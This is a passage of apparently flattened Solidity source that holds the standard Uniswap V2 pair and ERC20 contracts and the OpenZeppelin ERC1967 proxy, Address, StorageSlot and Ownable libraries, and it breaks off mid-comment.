        require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
    }
}

// File: contracts/UniswapV2ERC20.sol

pragma solidity =0.5.16;



contract UniswapV2ERC20 is IUniswapV2ERC20 {
    using SafeMath for uint;

    string public constant name = 'Uniswap V2';
    string public constant symbol = 'UNI-V2';
    uint8 public constant decimals = 18;
    uint  public totalSupply;
    mapping(address => uint) public balanceOf;
    mapping(address => mapping(address => uint)) public allowance;

    bytes32 public DOMAIN_SEPARATOR;
    // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
    bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
    mapping(address => uint) public nonces;

    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    constructor() public {
        uint chainId;
        assembly {
            chainId := chainid
        }
        DOMAIN_SEPARATOR = keccak256(
            abi.encode(
                keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
                keccak256(bytes(name)),
                keccak256(bytes('1')),
                chainId,
                address(this)
            )
        );
    }

    function _mint(address to, uint value) internal {
        totalSupply = totalSupply.add(value);
        balanceOf[to] = balanceOf[to].add(value);
        emit Transfer(address(0), to, value);
    }

    function _burn(address from, uint value) internal {
        balanceOf[from] = balanceOf[from].sub(value);
        totalSupply = totalSupply.sub(value);
        emit Transfer(from, address(0), value);
    }

    function _approve(address owner, address spender, uint value) private {
        allowance[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

    function _transfer(address from, address to, uint value) private {
        balanceOf[from] = balanceOf[from].sub(value);
        balanceOf[to] = balanceOf[to].add(value);
        emit Transfer(from, to, value);
    }

    function approve(address spender, uint value) external returns (bool) {
        _approve(msg.sender, spender, value);
        return true;
    }

    function transfer(address to, uint value) external returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }

    function transferFrom(address from, address to, uint value) external returns (bool) {
        if (allowance[from][msg.sender] != uint(-1)) {
            allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
        }
        _transfer(from, to, value);
        return true;
    }

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
        require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
        bytes32 digest = keccak256(
            abi.encodePacked(
                '\x19\x01',
                DOMAIN_SEPARATOR,
                keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
            )
        );
        address recoveredAddress = ecrecover(digest, v, r, s);
        require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
        _approve(owner, spender, value);
    }
}

// File: contracts/libraries/Math.sol

pragma solidity =0.5.16;

// a library for performing various math operations

library Math {
    function min(uint x, uint y) internal pure returns (uint z) {
        z = x < y ? x : y;
    }

    // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
    function sqrt(uint y) internal pure returns (uint z) {
        if (y > 3) {
            z = y;
            uint x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
    }
}

// File: contracts/libraries/UQ112x112.sol

pragma solidity =0.5.16;

// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))

// range: [0, 2**112 - 1]
// resolution: 1 / 2**112

library UQ112x112 {
    uint224 constant Q112 = 2**112;

    // encode a uint112 as a UQ112x112
    function encode(uint112 y) internal pure returns (uint224 z) {
        z = uint224(y) * Q112; // never overflows
    }

    // divide a UQ112x112 by a uint112, returning a UQ112x112
    function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
        z = x / uint224(y);
    }
}

// File: contracts/interfaces/IERC20.sol

pragma solidity >=0.5.0;

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
}

// File: contracts/interfaces/IUniswapV2Factory.sol

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// File: contracts/interfaces/IUniswapV2Callee.sol

pragma solidity >=0.5.0;

interface IUniswapV2Callee {
    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}

// File: contracts/UniswapV2Pair.sol

pragma solidity =0.5.16;








contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
    using SafeMath  for uint;
    using UQ112x112 for uint224;

    uint public constant MINIMUM_LIQUIDITY = 10**3;
    bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));

    address public factory;
    address public token0;
    address public token1;

    uint112 private reserve0;           // uses single storage slot, accessible via getReserves
    uint112 private reserve1;           // uses single storage slot, accessible via getReserves
    uint32  private blockTimestampLast; // uses single storage slot, accessible via getReserves

    uint public price0CumulativeLast;
    uint public price1CumulativeLast;
    uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event

    uint private unlocked = 1;
    modifier lock() {
        require(unlocked == 1, 'UniswapV2: LOCKED');
        unlocked = 0;
        _;
        unlocked = 1;
    }

    function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
        _reserve0 = reserve0;
        _reserve1 = reserve1;
        _blockTimestampLast = blockTimestampLast;
    }

    function _safeTransfer(address token, address to, uint value) private {
        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
        require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
    }

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    constructor() public {
        factory = msg.sender;
    }

    // called once by the factory at time of deployment
    function initialize(address _token0, address _token1) external {
        require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
        token0 = _token0;
        token1 = _token1;
    }

    // update reserves and, on the first call per block, price accumulators
    function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
        require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
        uint32 blockTimestamp = uint32(block.timestamp % 2**32);
        uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
        if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
            // * never overflows, and + overflow is desired
            price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
            price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
        }
        reserve0 = uint112(balance0);
        reserve1 = uint112(balance1);
        blockTimestampLast = blockTimestamp;
        emit Sync(reserve0, reserve1);
    }

    // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
    function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
        address feeTo = IUniswapV2Factory(factory).feeTo();
        feeOn = feeTo != address(0);
        uint _kLast = kLast; // gas savings
        if (feeOn) {
            if (_kLast != 0) {
                uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
                uint rootKLast = Math.sqrt(_kLast);
                if (rootK > rootKLast) {
                    uint numerator = totalSupply.mul(rootK.sub(rootKLast));
                    uint denominator = rootK.mul(5).add(rootKLast);
                    uint liquidity = numerator / denominator;
                    if (liquidity > 0) _mint(feeTo, liquidity);
                }
            }
        } else if (_kLast != 0) {
            kLast = 0;
        }
    }

    // this low-level function should be called from a contract which performs important safety checks
    function mint(address to) external lock returns (uint liquidity) {
        (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
        uint balance0 = IERC20(token0).balanceOf(address(this));
        uint balance1 = IERC20(token1).balanceOf(address(this));
        uint amount0 = balance0.sub(_reserve0);
        uint amount1 = balance1.sub(_reserve1);

        bool feeOn = _mintFee(_reserve0, _reserve1);
        uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
        if (_totalSupply == 0) {
            liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
           _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
        } else {
            liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
        }
        require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
        _mint(to, liquidity);

        _update(balance0, balance1, _reserve0, _reserve1);
        if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
        emit Mint(msg.sender, amount0, amount1);
    }

    // this low-level function should be called from a contract which performs important safety checks
    function burn(address to) external lock returns (uint amount0, uint amount1) {
        (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
        address _token0 = token0;                                // gas savings
        address _token1 = token1;                                // gas savings
        uint balance0 = IERC20(_token0).balanceOf(address(this));
        uint balance1 = IERC20(_token1).balanceOf(address(this));
        uint liquidity = balanceOf[address(this)];

        bool feeOn = _mintFee(_reserve0, _reserve1);
        uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
        amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
        amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
        require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
        _burn(address(this), liquidity);
        _safeTransfer(_token0, to, amount0);
        _safeTransfer(_token1, to, amount1);
        balance0 = IERC20(_token0).balanceOf(address(this));
        balance1 = IERC20(_token1).balanceOf(address(this));

        _update(balance0, balance1, _reserve0, _reserve1);
        if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
        emit Burn(msg.sender, amount0, amount1, to);
    }

    // this low-level function should be called from a contract which performs important safety checks
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
        require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
        (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
        require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');

        uint balance0;
        uint balance1;
        { // scope for _token{0,1}, avoids stack too deep errors
        address _token0 = token0;
        address _token1 = token1;
        require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
        if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
        if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
        if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
        balance0 = IERC20(_token0).balanceOf(address(this));
        balance1 = IERC20(_token1).balanceOf(address(this));
        }
        uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
        uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
        require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
        { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
        uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
        uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
        require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
        }

        _update(balance0, balance1, _reserve0, _reserve1);
        emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
    }

    // force balances to match reserves
    function skim(address to) external lock {
        address _token0 = token0; // gas savings
        address _token1 = token1; // gas savings
        _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
        _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
    }

    // force reserves to match balances
    function sync() external lock {
        _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
    }
}

File 3 of 7: ERC1967Proxy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
 * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
 * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
 * be specified by overriding the virtual {_implementation} function.
 *
 * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
 * different contract through the {_delegate} function.
 *
 * The success and return data of the delegated call will be returned back to the caller of the proxy.
 */
abstract contract Proxy {
    /**
     * @dev Delegates the current call to `implementation`.
     *
     * This function does not return to its internall call site, it will return directly to the external caller.
     */
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
        // Copy msg.data. We take full control of memory in this inline assembly
        // block because it will not return to Solidity code. We overwrite the
        // Solidity scratch pad at memory position 0.
            calldatacopy(0, 0, calldatasize())

        // Call the implementation.
        // out and outsize are 0 because we don't know the size yet.
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)

        // Copy the returned data.
            returndatacopy(0, 0, returndatasize())

            switch result
            // delegatecall returns 0 on error.
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    /**
     * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
     * and {_fallback} should delegate.
     */
    function _implementation() internal view virtual returns (address);

    /**
     * @dev Delegates the current call to the address returned by `_implementation()`.
     *
     * This function does not return to its internall call site, it will return directly to the external caller.
     */
    function _fallback() internal virtual {
        _beforeFallback();
        _delegate(_implementation());
    }

    /**
     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
     * function in the contract matches the call data.
     */
    fallback () external payable virtual {
        _fallback();
    }

    /**
     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
     * is empty.
     */
    receive () external payable virtual {
        _fallback();
    }

    /**
     * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
     * call, or as part of the Solidity `fallback` or `receive` functions.
     *
     * If overriden should call `super._beforeFallback()`.
     */
    function _beforeFallback() internal virtual {
    }
}


/**
 * @dev This abstract contract provides getters and event emitting update functions for
 * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
 *
 * _Available since v4.1._
 *
 */
abstract contract ERC1967Upgrade {
    // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
    bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;

    /**
     * @dev Storage slot with the address of the current implementation.
     * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
     * validated in the constructor.
     */
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    /**
     * @dev Emitted when the implementation is upgraded.
     */
    event Upgraded(address indexed implementation);

    /**
     * @dev Returns the current implementation address.
     */
    function _getImplementation() internal view returns (address) {
        return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
    }

    /**
     * @dev Stores a new address in the EIP1967 implementation slot.
     */
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
        StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
    }

    /**
     * @dev Perform implementation upgrade
     *
     * Emits an {Upgraded} event.
     */
    function _upgradeTo(address newImplementation) internal {
        _setImplementation(newImplementation);
        emit Upgraded(newImplementation);
    }

    /**
     * @dev Perform implementation upgrade with additional setup call.
     *
     * Emits an {Upgraded} event.
     */
    function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {
        _setImplementation(newImplementation);
        emit Upgraded(newImplementation);
        if (data.length > 0 || forceCall) {
            Address.functionDelegateCall(newImplementation, data);
        }
    }

    /**
     * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
     *
     * Emits an {Upgraded} event.
     */
    function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal {
        address oldImplementation = _getImplementation();

        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0 || forceCall) {
            Address.functionDelegateCall(newImplementation, data);
        }

        // Perform rollback test if not already in progress
        StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
        if (!rollbackTesting.value) {
            // Trigger rollback using upgradeTo from the new implementation
            rollbackTesting.value = true;
            Address.functionDelegateCall(
                newImplementation,
                abi.encodeWithSignature(
                    "upgradeTo(address)",
                    oldImplementation
                )
            );
            rollbackTesting.value = false;
            // Check rollback was effective
            require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
            // Finally reset to the new implementation and log the upgrade
            _setImplementation(newImplementation);
            emit Upgraded(newImplementation);
        }
    }

    /**
     * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
     * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
     *
     * Emits a {BeaconUpgraded} event.
     */
    function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {
        _setBeacon(newBeacon);
        emit BeaconUpgraded(newBeacon);
        if (data.length > 0 || forceCall) {
            Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
        }
    }

    /**
     * @dev Storage slot with the admin of the contract.
     * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
     * validated in the constructor.
     */
    bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;

    /**
     * @dev Emitted when the admin account has changed.
     */
    event AdminChanged(address previousAdmin, address newAdmin);

    /**
     * @dev Returns the current admin.
     */
    function _getAdmin() internal view returns (address) {
        return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
    }

    /**
     * @dev Stores a new address in the EIP1967 admin slot.
     */
    function _setAdmin(address newAdmin) private {
        require(newAdmin != address(0), "ERC1967: new admin is the zero address");
        StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
    }

    /**
     * @dev Changes the admin of the proxy.
     *
     * Emits an {AdminChanged} event.
     */
    function _changeAdmin(address newAdmin) internal {
        emit AdminChanged(_getAdmin(), newAdmin);
        _setAdmin(newAdmin);
    }

    /**
     * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
     * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
     */
    bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;

    /**
     * @dev Emitted when the beacon is upgraded.
     */
    event BeaconUpgraded(address indexed beacon);

    /**
     * @dev Returns the current beacon.
     */
    function _getBeacon() internal view returns (address) {
        return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
    }

    /**
     * @dev Stores a new beacon in the EIP1967 beacon slot.
     */
    function _setBeacon(address newBeacon) private {
        require(
            Address.isContract(newBeacon),
            "ERC1967: new beacon is not a contract"
        );
        require(
            Address.isContract(IBeacon(newBeacon).implementation()),
            "ERC1967: beacon implementation is not a contract"
        );
        StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
    }
}

/**
 * @dev This is the interface that {BeaconProxy} expects of its beacon.
 */
interface IBeacon {
    /**
     * @dev Must return an address that can be used as a delegate call target.
     *
     * {BeaconProxy} will check that this address is a contract.
     */
    function implementation() external view returns (address);
}

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.

        uint256 size;
        // solhint-disable-next-line no-inline-assembly
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

/**
 * @dev Library for reading and writing primitive types to specific storage slots.
 *
 * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
 * This library helps with reading and writing to such slots without the need for inline assembly.
 *
 * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
 *
 * Example usage to set ERC1967 implementation slot:
 * ```
 * contract ERC1967 {
 *     bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
 *
 *     function _getImplementation() internal view returns (address) {
 *         return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
 *     }
 *
 *     function _setImplementation(address newImplementation) internal {
 *         require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
 *         StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
 *     }
 * }
 * ```
 *
 * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
 */
library StorageSlot {
    struct AddressSlot {
        address value;
    }

    struct BooleanSlot {
        bool value;
    }

    struct Bytes32Slot {
        bytes32 value;
    }

    struct Uint256Slot {
        uint256 value;
    }

    /**
     * @dev Returns an `AddressSlot` with member `value` located at `slot`.
     */
    function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `BooleanSlot` with member `value` located at `slot`.
     */
    function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
     */
    function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `Uint256Slot` with member `value` located at `slot`.
     */
    function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
        assembly {
            r.slot := slot
        }
    }
}

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

/**
 * @dev This is an auxiliary contract meant to be assigned as the admin of a {TransparentUpgradeableProxy}. For an
